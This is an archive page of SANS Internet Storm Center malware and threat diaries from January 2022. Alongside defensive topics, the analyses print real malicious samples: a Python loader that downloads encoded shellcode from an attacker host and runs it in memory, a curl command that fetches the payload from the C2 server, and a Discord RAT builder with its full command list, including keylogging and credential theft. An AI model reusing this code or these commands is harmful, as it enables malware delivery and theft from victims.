Tag Archives: SANS

Phishing e-mail with…an advertisement?, (Tue, Jan 18th)

This post was originally published on this site

Authors of phishing and malspam messages like to use various techniques to make their creations appear as legitimate as possible in the eyes of the recipients. To this end, they often try to make their messages look like reports generated by security tools[1], responses to previous communication initiated by the recipient[2], or instructions from someone at the recipients organization[3], just to name a few. Most such techniques have been with us for a long time, however, last week I came across one that I don’t believe I’ve ever seen before – inclusion of what may be thought of as an advertisement in the body of the message.

10 Most Popular Targeted Ports in the Past 3 Weeks, (Sun, Jan 16th)

This post was originally published on this site

A review of all inbound connection over the past 3 weeks against my honeypot shows the top 2 targeted services were no surprise; a large amount of SSH (22, 2222) activity followed by Telnet (23) which Shodan still identifies over 2.7M hosts exposed to the Internet.

I previous did a diary [5,6] comparing SSH ports & banners as well as Telnet and RDP [7] on which the type of activity being logged hasn't really changed over time. One port that I was surprised to see as part of my top 5 was 6379, "Redis is an open source (BSD licensed), in-memory data structure store, used as a database, cache, and message broker."[8

Indicators (12,081) (11,814) (10,138) (4,554) (1,867) (1,550) (1,499) (1,479) (1,238) (1,202)

[1] https://www.shodan.io/search?query=port:23
[2] https://www.shodan.io/search?query=port:22
[3] https://www.shodan.io/search?query=port:2222
[4] https://www.shodan.io/search?query=port:6379
[5] https://isc.sans.edu/diary/24724
[6] https://isc.sans.edu/diary/23201
[7] https://isc.sans.edu/diary/26492
[8] https://redis.io/topics/introduction

Guy Bruneau IPSS Inc.
My Handler Page
Twitter: GuyBruneau
gbruneau at isc dot sans dot edu

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

Use of Alternate Data Streams in Research Scans for index.jsp., (Fri, Jan 14th)

This post was originally published on this site

Our network of web application honeypots delivered some odd new URLs in the last 24 hrs:


I am not 100% sure what these scans are after, but my best guess right now is that they are attempting to bypass filters using NTFS alternate data streams.

The Windows NTFS file system includes the ability to connect to alternate data streams. This has been documented in the past as a technique to hide data or to bypass URL filters [1][2].

In this case, the scans originate from %%ip: , an IP associated with vulnerability scanning company Qualys. It appears to be hunting for index.jsp, a default for Java applications. Inside the cgi-bin or scripts directory, it may very well lead to code execution and may be protected by a WAF that the attacker attempts to bypass. I assume that right now, this is likely just a Qualys research project, but a good reminder to double-check your URL filters 

Any other ideas? Let me know.

[1] https://owasp.org/www-community/attacks/Windows_alternate_data_stream
[2] https://owasp.org/www-community/vulnerabilities/Unrestricted_File_Upload

Johannes B. Ullrich, Ph.D. , Dean of Research, SANS.edu

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

A Quick CVE-2022-21907 FAQ (work in progress), (Wed, Jan 12th)

This post was originally published on this site

1 – When will an exploit be available?

Who knows. Microsoft rates the exploitability as "Exploitation More Likely". I suggest you patch this week.

2 – Which versions are affected?

Microsoft's advisory is a bit oddly worded. But at this point, my best read of it is: The vulnerable code was introduced in Windows Server 2019 and Windows 10 version 1809. But these versions of Windows had a registry key set by default disabling the feature. All later versions are vulnerable "out of the box". For Windows Server 2019 and Windows 10 Version 1809, the "HKLM:SystemCurrentControlSetServicesHTTPParameterEnableTrailerSupport" is set to 0 by default disabling trailers. You can check this registry value in Powershell (thanks Rob)l: 

Get-ItemProperty  "HKLM:SystemCurrentControlSetServicesHTTPParameters" | Select-Object EnableTrailerSupport

3 – Am I vulnerable if I do not have IIS enabled?

Possibly. This is NOT an IIS vulnerability, but a vulnerability in http.sys. http.sys is probably best described as the core HTTP engine inside IIS. But other software using http.sys and possibly exposing the vulnerability: WinRM (Windows Remote Management), WSDAPI (Web Services for Devices) for example expose http.sys. For a quick list of processes using http.sys, try:

netsh http show servicestate

4 – Does a web application Firewall help?

Likely yes. You could start (at your own risk) to just block requests with trailers. Maybe log them first to see if you see legitimate uses (let us know what uses them and how). For details, ask your web app firewall vendor.

5 – Was there a similar severe vulnerability in the past?

In 2015, we had a similar fire drill for CVE-2015-1635 (MS15-34). Maybe you kept notes? They will come in handy now. This Range header vulnerability never amounted to much.

6 – What are these Trailers about anyway?

Trailers are defined in RFC7230. They only make sense if "Transfer-Encoding: chunked" is used. With chunked encoding, the body of a request or response is transmitted in small chunks. Each chunk is preceded by a length in bytes. The idea behind this is that you may not know as you start sending a message how long it will be. In addition, chunked encoding does allow the sender to delay sending headers until the body is sent. These become "trailers". Here is a quick sample request:

Host: testing
Content-Type: text/plain
Transfer-Encoding: chunked
Trailer: X-Test

X-Test: 123

The RFC states that "the sender SHOULD generate a Trailer header" suggesting it is not mandatory. This may make filtering more difficult if an exploit does not use a Trailer header (again: I am speculating what an exploit may look like. But having a trailer without a corresponding trailer header may cause some confusion).

Johannes B. Ullrich, Ph.D. , Dean of Research, SANS.edu

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

Extracting Cobalt Strike Beacons from MSBuild Scripts, (Sun, Jan 9th)

This post was originally published on this site

There is also a video of this analysis.

Renato gives an extensive analysis of MSBuild and Cobalt Strike malware in diary entry "Attackers are abusing MSBuild to evade defenses and implant Cobalt Strike beacons".

I wanted to know if I could analyse these samples with my tools: this is the sample I looked at.
First I noticed a sequence of bytes (hexadecimal) that my base64dump.py tool should recognize as zxc encoding.

However, base64dump.py failed to recognize the complete sequence. First I assumed that the sequence contained some unexpected characters, but it turned out that was not the issue. With zxc encoding, base64dump.py looks for sequences of strings like 0x?? separated by commas (? represents an hexadecimal digit): my tool expects that each byte is encoded with 2 hexadecimal digits. And that is not the case in this sample:

Byte values smaller than 16 have no leading zero.

So I updated my base64dump.py tool to include another encoding: like zxc, but without leading zero. I called this encoding zxcn (n standing for no-leading-zeroes).

I use option "-e all" to try all encodings on the sample:

And with this new version, a very long sequence is detected: zxcn encoding, 1290778 characters long.

I run base64dump.py again, now only searching for zxcn encodings:

2 sequences are detected. Taking a closer look at the code in the sample, I notice that that second sequence is an XOR key that is used to decode the content of the first sequence:


That second sequence decodes to string uKIMvp, e.g., the XOR key I need to use to decode the payload.

I use my tool translate.py to do the XOR decoding like this:

This looks like a 64-bit Cobalt Strike PE file (notice magic header MZAR). Let's check with my tool pecheck.py:

It is indeed a PE file, and more precisely a 64-bit Cobalt Strike DLL. Thus my tool 1768.py is suited to extract the configuration:


Didier Stevens
Senior handler
Microsoft MVP

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

TShark & jq, (Sat, Jan 8th)

This post was originally published on this site

TShark (Wireshark's command-line version) can output JSON data, as shown in diary entry "Quicktip: TShark's Options -e and -T".

jq is a JSON processor, that I've shown before in diary entries like "Retrieving and processing JSON data (BTC example)".

In this diary entry, I will show how to use tshark and jq to produce a list of unique IPv4 addresses.

This tshark command reads a capture file and produces JSON output for the ip.src field:

This JSON data is an array of dictionaries. To read and start processing this JSON data, I pipe the output to jq and use a filter to iterate over the array: .[]

Next I pipe this iteration output into ._source to select values for key _source:

And I do the same for keys layers and ip.src:

For ip.src, remark that this key contains a dot (.), and a dot has special meaning in jq filters: it's an operator. Thus, I need to escape it, like this: "ip.src".

Now I have an iteration of arrays, each one containing an IPv4 address. I index this array to select the first IPv4 address:

Remark that there can be more than on ip.src address inside a single packet, I will discuss this in an upcoming diary entry.

Next, I put this iteration of IPv4 addresses (strings, actually) into an array:

And now that I have an array of IPv4 addresses, I can pipe it into function unique to produce an array where each IPv4 address is unique (e.g., appears only once):

Didier Stevens
Senior handler
Microsoft MVP

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

Custom Python RAT Builder, (Fri, Jan 7th)

This post was originally published on this site

This week I already wrote a diary about "code reuse" in the malware landscape[1] but attackers also have plenty of tools to generate new samples on the fly. When you received a malicious Word documents, it has not been prepared by hand, it has been for sure automatically generated. Except if you're a "nice" target for attackers and victim of some kind of "APT". The keyword here is "automation". If defenders try to automate as much as possible, attackers too!

Today, Discord is often used by attackers as a nice C2 server[2] and we can find plenty of Python malware that interact with Discord. Most of them are info stealers. I already found plenty of such scripts but today I spotted something else. A script to generate your own RAT ("Remote Access Tool"). The script has a VT score of 7/56[3] (SHA256:f13433cc26702e7b6116e36629625cc798d0ad4b26aa782a551a38ec3dc8ab23). I had to fine tune a bit the script to make it work in my sandbox but the usage is pretty simple:

The script is very simple, it contains the RAT standard code and the provided token is injected into it:

file.write("""import winreg
import ctypes
import sys
import os
import ssl
import random
import threading
import time
import cv2
import subprocess
import discord
from comtypes import CLSCTX_ALL
from discord.ext import commands
from ctypes import *
import asyncio
import discord
from discord import utils
token = '~~TOKENHERE~~'
global appdata
appdata = os.getenv('APPDATA')
client = discord.Client()
bot = commands.Bot(command_prefix='!')
""".replace("~~TOKENHERE~~", tokenbot))

You can see that the script asks if the script must be compiled. This is achieved using the pyinstaller[4] module.Once completed, you will have a fully standalone PE file ready to be sent to your victims. I uploaded my sample to VT and it got a score of 10/67, not so bad from an attacker's point of view.

Here is a quick overview of the supported bot commands:

!kill Kill the bot (disconnect from Discord)
!dumpkeylogger Dump captured keys to the Discoard channel
!exit Exit the bot (process)
!windowstart Start Window logging
!windowstop Stop Window logging
!screenshot Take a screenshot
!webcampic Take picture with the webcam
!message Display a message on the desktop (via MessageBoxW())
!wallpaper Change the desktop background
!upload Upload a file
!shell Remote command execution
!download Download a file
!cd Change current directory
!help Because attackers need some help too 🙂
!write Write something (like on the keyboard)
!clipboard Get clipboard data
!sysinfo Collect system information
!geolocate Collect GeoIP details about the victim
!admincheck Check if bot is running with admin privileges
!uacbypass Try UAC privileges escalation
!startkeylogger Start the keylogger
!stopkeylogger Stop the keylogger
!blockinput Annoy the user[5]
!unblockinput Release the user
!streamwebcam Start webcam recording
!stopwebcam Stop webcal recording
!getdiscordinfo What about the Discord session?
!streamscreen Record multiple screenshots
!stopscreen Stop screen streaming
!shutdown Stop the victim's computer
!restart Reboot the victim's computer
!logoff Logoff the current user
!bluescreen Generate a BSOD (!)
!currentdir Print current directory
!displaydir List files in the direcotry
!dateandtime Return the victim's computer date & time
!listprocess Return the list of running processes
!prockill Try to kill a process
!recscreen Record a video from screen
!reccam Record a video from webcam
!recaudio Record a wav from the internal mic
!delete Delete a file
!disableantivirus Try to disable the AV
!disablefirewall Try to disable the firewall
!audio Play a record file
!selfdestruct Try to wipe the computer
!windowspass Try to collect system credentials
!displayoff Turn off display
!displayon Turn on display
!hide Try to hide a file ("attrib +h")
!unhide Try to unhide a file
!decode Decode Base64
!ejectcd Open CD tray
!retractcd Close CD tray
!critproc Set process as critical
!website Visit a webpage
!distaskmgr Try to disable the task manager
!enbtaskmgr Try to re-enable the task manager
!getwifipass Exfiltrate Wifi passwords

[1] https://isc.sans.edu/forums/diary/Code+Reuse+In+the+Malware+Landscape/28216/
[2] https://crawl3r.github.io/2020-01-25/DaaC2
[3] https://www.virustotal.com/gui/file/f13433cc26702e7b6116e36629625cc798d0ad4b26aa782a551a38ec3dc8ab23/details
[4] https://pypi.org/project/pyinstaller/
[5] https://isc.sans.edu/forums/diary/A+Simple+Batch+File+That+Blocks+People/28212/

Xavier Mertens (@xme)
Senior ISC Handler – Freelance Cyber Security Consultant

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

Malicious Python Script Targeting Chinese People, (Thu, Jan 6th)

This post was originally published on this site

This week I found a lot of interesting scripts as this is my fourth diary in a row! I spotted a Python script that targets Chinese people. The script has a very low VT score (2/56) (SHA256:aaec7f4829445c89237694a654a731ee5a52fae9486b1d2bce5767d1ec30c7fb). How attackers can restricts their surface attack to some regions, countries or people?

The script implements a simple direct API call using the ctypes library:

dll_h = ctypes.windll.kernel32
if (dll_h.GetSystemDefaultUILanguage() != 2052):

GetSystemDefaultUILanguage() is a Microsoft API call that returns the system default UI language of the operating system[1]. If the language code is not 2052, the script exits. The valid 2052 correspond to "Simplified Chinese"[2]. Note that the script uploaded to VT was probably still being debugged or developed because exit() has been commented.

I had a look at the script which decoded a shell code using a Base85 encoding:

global c
url = 'hxxp://fileserverhk[.]oss-cn-hongkong[.]aliyuncs[.]com/home/js/js.js'
req = urllib.request.Request(url)
data = urllib.request.urlopen(req).read()
key0 = data[:1]
key1 = data[-5:]
key2 = data[1:len(data)-5]
c = b''.fromhex(key2.replace(key1,key0).decode())
c = base64.b85decode(c)

The shellcode downloads the next stage:

Loaded 348 bytes from file C:UsersREMDesktopc.bin
Initialization Complete..
Max Steps: 2000000
Using base offset: 0x401000

4010a2  LoadLibraryA(wininet)
4010b5  InternetOpenA()
4010d1  InternetConnectA(server: adult[.]up-flash[.]com, port: 8443, )

The shellcode is injected using an Base16/Hex/Base85 encoded code:

def decrypt_eval(str):
    global c
    s1 = base64.b16decode(str.encode()).decode()
    s2 = b''.fromhex(s1)
    s3 = base64.b85decode(s2)

The decoded code is classic:

import ctypes;
wiseZERld = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0),ctypes.c_int(len(c)),ctypes.c_int(0x3000),ctypes.c_int(0x40));
ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_int(wiseZERld), c, ctypes.c_int(len(c)));
x = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0),ctypes.c_int(0),ctypes.c_int(wiseZERld),ctypes.c_int(0),ctypes.c_int(0),ctypes.pointer(ctypes.c_int(0)));

You can find more information in the shellcode to generate the complete URL. The URI is readable and a User-Agent. It must be provided to fetch the content otherwise, an error is returned:

curl -o payload.bin -A "Mozilla/5.0 (Windows Phone 10.0; Android 6.0.1; Microsoft; RM-1152) AppleWebKit/537.36 (KHTML, like Gecko)" https://adult.up-flash.com:8443/files/ch.jpg

The payload seems encrypted  but I did not find a way to decode it yet. When the payload is executed in a sandbox, it tries to fetch the following URL but a 404 error is returned:


There is another behaviour in the Python script and I don't see the purpose of this. Web services are created and binded to the loopback on multiple high-ports:

self.ports = [45990, 44792, 56390, 31590, 32790, 48790, 13080, 25980, 34680, 47980, 51380, 61080]

The webserver just returns a string "c_online_s":

  def handler(self, port):
        ip_port = ('', port)
        back_log = 10
        buffer_size = 1024
        webserver = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        while True:
                conn, addr = webserver.accept()
                if port in self.ports:
                    self.init = True
                recvdata = conn.recv(buffer_size)
                conn.sendall(bytes("HTTP/1.1 200 OKrnAccess-Control-Allow-Origin: *rnrn", "utf-8"))
                conn.sendall(bytes("c_online_s", "utf-8"))

I've no idea about the purpose of this. If you have suggestions, please share!

[1] https://docs.microsoft.com/en-us/windows/win32/api/winnls/nf-winnls-getsystemdefaultuilanguage
[2] https://www.autoitscript.com/autoit3/docs/appendix/OSLangCodes.htm

Xavier Mertens (@xme)
Senior ISC Handler – Freelance Cyber Security Consultant

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

Code Reuse In the Malware Landscape, (Wed, Jan 5th)

This post was originally published on this site

Code re-use is classic behavior for many developers and this looks legit: Why reinvent the wheel if you can find some pieces of code that do what you are trying to achieve? If you publish a nice piece of code on platforms like GitHub, there are chances that your project will be used and sometimes forked by other developers who will add features, fix issues, etc. That's the magic of the Internet. But attackers are also looking for interesting code to borrow on GitHub. A few weeks ago, I wrote a diary about Excel Add-In's[1] used to distribute malware.

This morning,I spotted another campaign that uses the same technique. Emails are sent to victims asking them to have a look at important documents. The payload is delivered in a ZIP archive "Attachments.zip". The archive contains two XLL files:

remnux@remnux:/MalwareZoo/20220105$ unzip -t Attachments.zip 
Archive:  Attachments.zip
    testing: Proposal Listing.xll     OK
    testing: Proposal Listing continue.xll   OK
No errors detected in compressed data of Attachments.zip.

Both files are indeed Excel Add-In both for different architectures:

remnux@remnux:/MalwareZoo/20220105$ file Proposal Listing*
Proposal Listing continue.xll: PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Proposal Listing.xll:          PE32+ executable (DLL) (GUI) x86-64, for MS Windows

These XLL files are interesting because they are based on a project called ExcelDNA:

remnux@remnux:/MalwareZoo/20220105$ pedump Proposal Listing continue.xll |tail -28

  FileVersion         :
  ProductVersion      :
  StrucVersion        :  0x10000
  FileFlagsMask       :  0x17
  FileFlags           :  0
  FileOS              :  4
  FileType            :  2
  FileSubtype         :  0

# StringTable 080004b0:
  Comments            :  "Unmanaged loader shim for Excel-DNA Add-Ins"
  CompanyName         :  "Govert van Drimmelen"
  FileDescription     :  "Excel-DNA Dynamic Link Library"
  FileVersion         :  ""
  InternalName        :  "ExcelDna"
  LegalCopyright      :  "Copyright (C) 2005-2020 Govert van Drimmelen"
  OriginalFilename    :  "ExcelDna.xll"
  ProductName         :  "Excel-DNA Add-In Framework for Microsoft Excel"
  ProductVersion      :  "1.1"

  VarFileInfo         :  [ 0x800, 0x4b0 ]

=== Packer / Compiler ===

  MS Visual C++ 6.0 - 8.0

Searching for "Govert van Drimmelen" will redirect you to a GitHub project[2]. And to confirm the code re-use, we can search for code similarities:

97% of the code is common with the ExcelDna sample Add-In! (Source: Intezer Analyze). The dropped malware is an info stealer. Malware families sometimes share a lot of "bad" code but malware developers are also looking for interesting "safe" code!

[1] https://isc.sans.edu/forums/diary/Downloader+Disguised+as+Excel+AddIn+XLL/28052
[2] https://github.com/govert/ExcelDna

Xavier Mertens (@xme)
Senior ISC Handler – Freelance Cyber Security Consultant

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.